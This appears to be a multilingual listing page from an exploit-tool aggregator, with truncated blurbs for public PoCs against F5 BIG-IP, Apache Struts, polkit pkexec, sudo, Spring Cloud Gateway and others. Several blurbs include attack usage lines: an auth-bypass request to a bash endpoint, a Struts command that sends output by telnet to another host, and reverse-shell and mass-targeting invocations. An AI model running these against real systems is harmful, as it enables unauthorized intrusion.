CVE-2022-1388

CVE-2022-1388 Contournement d'authentification RCE de F5 BIG-IP iControl REST CVE-2022-1388. root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd,...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Referência: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - código python para executar...

SMShell

SMShell PoC per una shell basata su SMS. Invia comandi e ricevi risposte via SMS da computer con connettività mobile a banda larga. Questo strumento è nato come ispirazione durante una ricerca sulle implicazioni di sicurezza delle eSIM condotta da Markus Vervier, presentata all'Offensivecon 2023...

CVE-2024-3400-POC

CVE-2024-3400 Script di Test RCE Panoramica Questo script Python è progettato per testare una vulnerabilità di esecuzione remota di codice RCE, specificamente CVE-2024-3400, che colpisce alcuni portali GlobalProtect di Palo Alto Networks. La vulnerabilità consente l'esecuzione non autorizzata di...

CVE-2022-1388

CVE-2022-1388 POC per CVE-2022-1388 che colpisce diversi prodotti F5. Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche sulla sicurezza: Horizon3 Attack Team James Horseman Zach Hanley Analisi Tecnica Un'analisi tecnica delle cause principali della vulnerabilità può essere trovata...

cve-2020-0688

cve-2020-0688 Utilizzo: root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWOR...

CVE-2026-24061

ruby CVE-2026-24061.rb -l targets.txt --cmd "id" --threads 10 ruby CVE-2026-24061.rb -t 192.168.1.10...

CVE-2021-4034

CVE-2021-4034 Vulnerabilità di privilegi locali in polkit pkexec per aggiungere comandi personalizzati cambiare in https://github.com/signfind/CVE-2021-4034 Annulla la shell interattiva /bin/sh Adatta per l'esecuzione di comandi su una sola riga in casi particolari Build root@kitploit: gcc...

-CVE-2017-9805

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。 用法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability ...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE 这是什么？ 这是一个用于 Metasploit 的 metasploit 模块。 我已经有这个模块了。 是的，它被打包进了 metasploit。但使用该模块无法实现任意命令执行。 我的意思是，你只能用它建立反向/绑定 shell 载荷。我需要在 shell 中直接执行命令。因此，我修改了该 metasploit 模块，使其现在能够向系统执行单个命令。 好的。如何使用它？ 要安装此模块，你可以运行我开发的自动安装脚本，快速将其安装到你的 metasploit 中。 root@kitploit:...

CVE-2022-1388-PocExp

CVE-2022-1388-PocExp CVE-2022-1388-PocExp, добавлена многопоточность Usgae root@kitploit: Usage Single URL：python3 CVE-2022-1388.py -u url Usage, List of URLS：python3 CVE-2022-1388.py -f url.txt Usage, Exec：python3 CVE-2022-1388.py -u url -c command Usage, ExecFile：python3 CVE-2022-1388.py -f...

CVE-2021-22986

Воздействие уязвимости Эта уязвимость позволяет неаутентифицированным злоумышленникам, имеющим сетевой доступ к интерфейсу iControl REST через интерфейс управления BIG-IP и собственные IP-адреса, выполнять произвольные системные команды, создавать или удалять файлы, а также отключать службы. Данн...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Использование Обратная оболочка reverse shell python3 CVE-2022-22947.py целевой URL IP для обратной оболочки порт Выполнение команды python3 CVE-2022-22947.py целевой URL команда...

WSMan-WinRM

WSMan-WinRM Una raccolta di codice sorgente proof-of-concept e script per eseguire comandi remoti su WinRM utilizzando l'oggetto COM WSMan.Automation. Contesto Per informazioni di base, consultare il seguente post del blog: WS-Management COM: Another Approach for WinRM Lateral Movement Note...

CVE-2021-3156-plus

CVE-2021-3156 Это модификация репозитория на основе @CptGibbon, поддерживающая выполнение произвольных команд. Связанное чтение: CVE-2021-3156 - Exploit модификация Root shell PoC для CVE-2021-3156 без брутфорса Только для образовательных целей и т.д. Протестировано на: @CptGibbon Ubuntu 20.04...

SNOWCRASH

SNOWCRASH Un generatore di payload poliglotti Introduzione SNOWCRASH crea uno script che può essere eseguito su macchine Linux e Windows. Il payload selezionato dall'utente in questo caso codice Bash e Powershell combinati viene incorporato in un unico template poliglotta, che è indipendente dall...

CVE-2026-70419

Dell Cloud Disaster Recovery, versions 20.2 and prior, contain an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution...

smbmap

SMBMap SMBMap permette agli utenti di enumerare le unità condivise Samba attraverso un intero dominio. Elenca le unità condivise, i permessi delle unità, i contenuti delle condivisioni, funzionalità di upload/download, corrispondenza di pattern per download automatico di nomi file e persino...

struts-pwn_CVE-2017-9805

struts-pwn - Exploit CVE-2017-9805 Un exploit per Apache Struts CVE-2017-9805 Utilizzo Verifica se la vulnerabilità esiste su un singolo URL. python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' Verifica se la vulnerabilità esiste su un elenco di URL. python struts-pwn.p...

SharpSphere

SharpSphere - Angriff auf vSphere-Infrastruktur Credit @jkcoote & @grzryc Eine vollständige Schritt-für-Schritt-Anleitung und Beispiele gibt es hier. Versionsverlauf 1.0 - Erste Veröffentlichung 2.0 - Unterstützung für Pass-Through-Authentifizierung mittels SSPI hinzugefügt. 2.1 - Unterstützung f...